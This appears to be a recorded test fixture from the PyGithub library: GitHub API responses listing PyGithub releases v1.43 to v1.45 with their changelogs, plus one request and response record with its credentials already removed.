+[{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/22500330","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/22500330/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/22500330/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.45","id":22500330,"author":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTIyNTAwMzMw","tag_name":"v1.45","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2019-12-29T03:48:30Z","published_at":"2019-12-29T03:51:35Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.45","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.45","body":"**Important**\r\n\r\n* This is the last release of PyGithub that will support Python 2.\r\n\r\n**Breaking Changes**\r\n\r\n* Branch.edit_{user,team}_push_restrictions() have been removed\r\n* The new API is:\r\n - Branch.add_{user,team}_push_restrictions() to add new members\r\n - Branch.replace_{user,team}_push_restrictions() to replace all members\r\n - Branch.remove_{user,team}_push_restrictions() to remove members\r\n* The api_preview parameter to Github() has been removed.\r\n\r\n**Bug Fixes & Improvements**\r\n\r\n* Allow sha=None for InputGitTreeElement (#1327) (60464f65)\r\n* Support github timeline events. (#1302) (732fd26a)\r\n* Update link to GitHub Enterprise in README (#1324) (e1537f79)\r\n* Cleanup travis config (#1322) (8189a538)\r\n* Add support for update branch (#1317) (baddb719)\r\n* Refactor Logging tests (#1315) (b0ef1909)\r\n* Fix rtd build (b797cac0)\r\n* Add .git-blame-ignore-revs (573c674b)\r\n* Apply black to whole codebase (#1303) (6ceb9e9a)\r\n* Fix class used returning pull request comments (#1307) (f8e33620)\r\n* Support for create_fork (#1306) (2ad51f35)\r\n* Use Repository.get_contents() in tests (#1301) (e40768e0)\r\n* Allow GithubObject.update() to be passed headers (#1300) (989b635e)\r\n* Correct URL for assignees on PRs (#1296) (3170cafc)\r\n* Use inclusive ordered comparison for 'parameterized' requirement (#1281) (fb19d2f2)\r\n* Deprecate Repository.get_dir_contents() (#1285) (21e89ff1)\r\n* Apply some polish to manage.sh (#1284) (3a723252)\r\n"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/21274492","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/21274492/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/21274492/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.44.1","id":21274492,"author":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTIxMjc0NDky","tag_name":"v1.44.1","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2019-11-07T01:44:10Z","published_at":"2019-11-07T01:50:38Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.44.1","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.44.1","body":"* Add Python 3.8 to classifiers list (#1280) (fec6034a)\r\n* Expand Topic class and add test coverage (#1252) (ac682742)\r\n* Add support for team discussions (#1246) (#1249) (ec3c8d7b)\r\n* Correct API for NamedUser.get_organization_membership (#1277) (077c80ba)\r\n* Correct header check for 2FA required (#1274) (6ad592b1)\r\n* Use replay framework for Issue142 test (#1271) (4d258d93)\r\n* Sync httpretty version requirement with setup.py (#1265) (99d38468)\r\n* Handle unicode strings when recording responses (#1253) (#1254) (faa1bbd6)\r\n* Add assignee removal/addition support to PRs (#1241) (a163ba15)\r\n* Check if the version is empty in manage.sh (#1268) (db294837)\r\n* Encode content for {create,update}_file (#1267) (bc225f9d)\r\n* Update changes.rst (#1263) (d7947d82)"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/20822625","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/20822625/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/20822625/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.44","id":20822625,"author":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTIwODIyNjI1","tag_name":"v1.44","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2019-10-19T07:32:53Z","published_at":"2019-10-19T07:40:47Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.44","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.44","body":"**New features**\r\n* This version supports running under Python 3 directly, and the test suite\r\n passes under both 2.7 and recent 3.x's.\r\n\r\n**Bug Fixes & Improvements**\r\n* Stop ignoring unused imports and remove them (#1250) (a0765083)\r\n* Bump httpretty to be a greater or equal to (#1262) (27092fb0)\r\n* Add close all issues example (#1256) (13e2c7c7)\r\n* Add six to install_requires (#1245) (a840a906)\r\n* Implemented user organization membership. Added test case. (#1237) (e50420f7)\r\n* Create DEPLOY.md (c9ed82b2)\r\n* Support non-default URLs in GithubIntegration (#1229) (e33858a3)\r\n* Cleanup try/except import in PaginatedList (#1228) (89c967bb)\r\n* Add an IncompletableObject exception (#1227) (f91cbac2)\r\n* Fix redundant int checks (#1226) (850da5af)\r\n* Jump from notifications to related PRs/issues. (#1168) (020fbebc)\r\n* Code review bodies are optional in some cases. (#1169) (b84d9b19)\r\n* Update changes.rst (#1223) (2df7269a)\r\n* Do not auto-close issues with high priority tag (ab27ba4d)\r\n* Fix bug in repository create new file example PyGithub#1210 (#1211) (74cd6856)\r\n* Remove more Python version specific code (#1193) (a0f01cf9)\r\n* Drop use of assertEquals (#1194) (7bac694a)\r\n* Fix PR review creation. (#1184) (e90cdab0)\r\n* Add support to vulnerability alert and automated security fixes APIs (#1195) (8abd50e2)\r\n* Delete Legacy submodule (#1192) (7ddb657d)\r\n* Remove some uses of atLeastPython3 (#1191) (cca8e3a5)\r\n* Run flake8 in Travis (#1163) (f93207b4)\r\n* Fix directories for coverage in Travis (#1190) (657f87b5)\r\n* Switch to using six (#1189) (dc2f2ad8)\r\n* Update Repository.update_file() docstring (#1186) (f1ae7200)\r\n* Correct return type of MainClass.get_organizations (#1179) (6e79d270)\r\n* Add cryptography to test-requirements.txt (#1165) (9b1c1e09)\r\n"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/18750310","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/18750310/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/18750310/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.43.8","id":18750310,"author":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTE4NzUwMzEw","tag_name":"v1.43.8","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2019-07-20T15:56:37Z","published_at":"2019-07-20T15:57:21Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.43.8","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.43.8","body":"**New features**\r\n\r\n* Add two factor attributes on organizations (#1132) (a0731685)\r\n* Add Repository methods for pending invitations (#1159) (57af1e05)\r\n* Adds `get_issue_events` to `PullRequest` object (#1154) (acd515aa)\r\n* Add invitee and inviter to Invitation (#1156) (0f2beaca)\r\n* Adding support for pending team invitations (#993) (edab176b)\r\n* Add support for custom base_url in GithubIntegration class (#1093) (6cd0d644)\r\n* GithubIntegration: enable getting installation (#1135) (18187045)\r\n* Add sorting capability to Organization.get_repos() (#1139) (ef6f009d)\r\n* Add new Organization.get_team_by_slug method (#1144) (4349bca1)\r\n* Add description field when creating a new team (#1125) (4a37860b)\r\n* Handle a path of / in Repository.get_contents() (#1070) (102c8208)\r\n* Add issue lock/unlock (#1107) (ec7bbcf5)\r\n\r\n**Bug Fixes & Improvements**\r\n\r\n* Fix bug in recursive repository contents example (#1166) (8b6b4505)\r\n* Allow name to be specified for upload_asset (#1151) (8d2a6b53)\r\n* Fixes #1106 for GitHub Enterprise API (#1110) (54065792)"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/16783673","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/16783673/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/16783673/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.43.7","id":16783673,"author":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTE2NzgzNjcz","tag_name":"v1.43.7","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2019-04-16T03:49:45Z","published_at":"2019-04-16T03:51:41Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.43.7","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.43.7","body":"* Exclude tests from PyPI distribution (#1031) (78d283b9)\r\n* Add codecov badge (#1090) (4c0b54c0)"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/16573117","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/16573117/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/16573117/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.43.6","id":16573117,"author":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTE2NTczMTE3","tag_name":"v1.43.6","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2019-04-05T06:32:18Z","published_at":"2019-04-05T06:32:54Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.43.6","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.43.6","body":"**New features**\r\n\r\n * Add support for Python 3.7 (#1028) (6faa00ac)\r\n* Adding HTTP retry functionality via urllib3 (#1002) (5ae7af55)\r\n* Add new dismiss() method on PullRequestReview (#1053) (8ef71b1b)\r\n* Add since and before to `get_notifications` (#1074) (7ee6c417)\r\n* Add url parameter to include anonymous contributors in `get_contributors` (#1075) (293846be)\r\n* Provide option to extend expiration of jwt token (#1068) (86a9d8e9)\r\n\r\n **Bug Fixes & Improvements**\r\n\r\n * Fix the default parameter for `PullRequest.create_review` (#1058) (118def30)\r\n* Fix `get_access_token` (#1042) (6a89eb64)\r\n* Fix `Organization.add_to_members` role passing (#1039) (480f91cf)\r\n\r\n **Deprecation**\r\n\r\n * Remove Status API (6efd6318)"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/15234801","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/15234801/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/15234801/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.43.5","id":15234801,"author":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTE1MjM0ODAx","tag_name":"v1.43.5","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2019-01-28T09:50:05Z","published_at":"2019-01-29T09:35:42Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.43.5","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.43.5","body":"* Add project column create card (#1003) (5f5c2764)\r\n* Fix request got an unexpected keyword argument body (#1012) (ff789dcc)\r\n* Add missing import to PullRequest (#1007) (b5122768)"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/14655355","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/14655355/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/14655355/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.43.4","id":14655355,"author":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTE0NjU1MzU1","tag_name":"v1.43.4","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2018-12-21T09:29:21Z","published_at":"2018-12-21T09:30:15Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.43.4","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.43.4","body":"**New features**\r\n\r\n* Add Migration API (#899) (b4d895ed)\r\n* Add Traffic API (#977) (a433a2fe)\r\n* New in Project API: create repository project, create project column (#995) (1c0fd97d)\r\n\r\n**Bug Fixes & Improvements**\r\n\r\n* Change type of GitRelease.author to NamedUser (#969) (aca50a75)\r\n* Use total_count from data in PaginatedList (#963) (ec177610)"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/13744883","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/13744883/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/13744883/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.43.3","id":13744883,"author":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTEzNzQ0ODgz","tag_name":"v1.43.3","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2018-10-31T00:38:13Z","published_at":"2018-10-31T00:39:35Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.43.3","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.43.3","body":"**New features**\r\n\r\n* Add support for JWT authentication (#948) (8ccf9a94)\r\n* Added support for required signatures on protected branches (#939) (8ee75a28)\r\n* Ability to filter repository collaborators (#938) (5687226b)\r\n* Mark notification as read (#932) (0a10d7cd)\r\n* Add highlight search to ``search_code`` function (#925) (1fa25670)\r\n* Adding ``suspended_at`` property to NamedUSer (#922) (c13b43ea)\r\n* Add since parameter for Gists (#914) (e18b1078)\r\n\r\n**Bug Fixes & improvements**\r\n\r\n* Fix missing parameters when reversing ``PaginatedList`` (#946) (60a684c5)\r\n* Fix unable to trigger ``RateLimitExceededException``. (#943) (972446d5)\r\n* Fix inconsistent behavior of trailing slash usage in file path (#931) (ee9f098d)\r\n* Fix handling of 301 redirects (#916) (6833245d)\r\n* Fix missing attributes of ``get_repos`` for authenticated users (#915) (c411196f)\r\n* Fix ``Repository.edit`` (#904) (7286eec0)\r\n* Improve ``__repr__`` method of Milestone class (#921) (562908cb)\r\n* Fix rate limit documentation change (#902) (974d1ec5)\r\n* Fix comments not posted in create_review() (#909) (a18eeb3a)"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/12852693","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/12852693/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/12852693/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.43.2","id":12852693,"author":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTEyODUyNjkz","tag_name":"v1.43.2","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2018-09-12T07:01:08Z","published_at":"2018-09-12T07:01:54Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.43.2","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.43.2","body":"Version 1.43.2 (September 12, 2018)\r\n-----------------------------------\r\n\r\n* Restore ``RateLimit.rate`` attribute, raise deprecation warning instead (d92389be)"}] + +https +GET +api.github.com +None +/repositories/3544490/releases?per_page=10&page=3 +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Mon, 10 Jan 2022 15:55:51 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"a255e93691b56b2d25a65048efdd3554963cdb6a3ca80671b38f055e7ace4765"'), ('X-OAuth-Scopes', 'repo, workflow'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="prev", ; rel="first"'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4637'), ('X-RateLimit-Reset', '1641832874'), ('X-RateLimit-Used', '363'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'DA7A:4595:11F943E:1339E8F:61DC5707')] +[{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/12829833","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/12829833/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/12829833/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.43.1","id":12829833,"author":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTEyODI5ODMz","tag_name":"v1.43.1","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2018-09-11T05:10:13Z","published_at":"2018-09-11T05:10:56Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.43.1","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.43.1","body":"Version 1.43.1 (September 11, 2018)\r\n-----------------------------------\r\n New feature:\r\n * Add support for Projects (#854) (faca4ce1)"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/12796526","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/12796526/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/12796526/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.43","id":12796526,"author":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTEyNzk2NTI2","tag_name":"v1.43","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2018-09-08T07:09:08Z","published_at":"2018-09-08T07:46:17Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.43","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.43","body":"Version 1.43 (September 08, 2018)\r\n-----------------------------------\r\n\r\n\r\n**BUGFIX**\r\n\r\n* ``Repository.get_archive_link`` will now NOT follow HTTP redirect and return the url instead (#858) (43d325a5)\r\n* Fixed ``Gistfile.content`` (#486) (e1df09f7)\r\n* Restored NamedUser.contributions attribute (#865) (b91dee8d)\r\n\r\n**New features**\r\n\r\n* Add support for repository topics (#832) (c6802b51)\r\n* Add support for required approving review count (#888) (ef16702)\r\n* Add ``Organization.invite_user`` (880)(eb80564)\r\n* Add support for search/graphql rate limit (fd8a036)\r\n* Add Support search by topics (#893) (3ce0418)\r\n* Branch Protection API overhaul (#790) (171cc567)\r\n\r\n + (**breaking**) Removed Repository.protect_branch\r\n + Add `BranchProtection `__\r\n + Add `RequiredPullRequestReviews `__\r\n + Add `RequiredStatusChecks `__\r\n + Add ``Branch.get_protection``, ``Branch.get_required_pull_request_reviews``, ``Branch.get_required_status_checks``, etc\r\n\r\n**Improvements**\r\n\r\n* Add missing arguments to ``Repository.edit`` (#844) (29d23151)\r\n* Add missing attributes to Repository (#842) (2b352fb3)\r\n* Adding archival support for ``Repository.edit`` (#843) (1a90f5db)\r\n* Add ``tag_name`` and ``target_commitish`` arguments to ``GitRelease.update_release`` (#834) (790f7dae)\r\n* Allow editing of Team descriptions (#839) (c0021747)\r\n* Add description to Organizations (#838) (1d918809)\r\n* Add missing attributes for IssueEvent (#857) (7ac2a2a)\r\n* Change ``MainClass.get_repo`` default laziness (#882) (6732517)\r\n\r\n**Deprecation**\r\n\r\n* Removed Repository.get_protected_branch (#871) 